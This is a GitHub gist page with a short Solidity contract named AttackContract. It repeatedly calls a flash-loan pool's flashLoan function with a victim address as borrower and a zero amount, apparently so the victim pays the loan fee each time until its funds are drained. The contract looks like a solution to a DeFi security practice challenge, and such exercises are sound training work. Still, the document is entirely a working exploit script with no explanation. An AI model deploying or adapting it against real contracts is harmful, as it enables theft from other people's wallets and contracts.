Last active
January 16, 2021 15:32
-
-
Save zaryab2000/3951197b3ca06182eaa617b466d80a97 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.0; | |
contract AttackContract { | |
address payable pool; | |
address payable target; | |
constructor(address payable poolAddress,address payable targetAddress) public { | |
pool = poolAddress; | |
target = targetAddress; | |
} | |
function attackTarget() public{ | |
bytes memory payload = abi.encodeWithSignature( | |
"flashLoan(address,uint256)", | |
target, | |
0 | |
); | |
for(uint i=1;i<=10;i++){ | |
(bool success, ) = pool.call(payload); | |
require (success, "Attack Teribbly Failed"); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment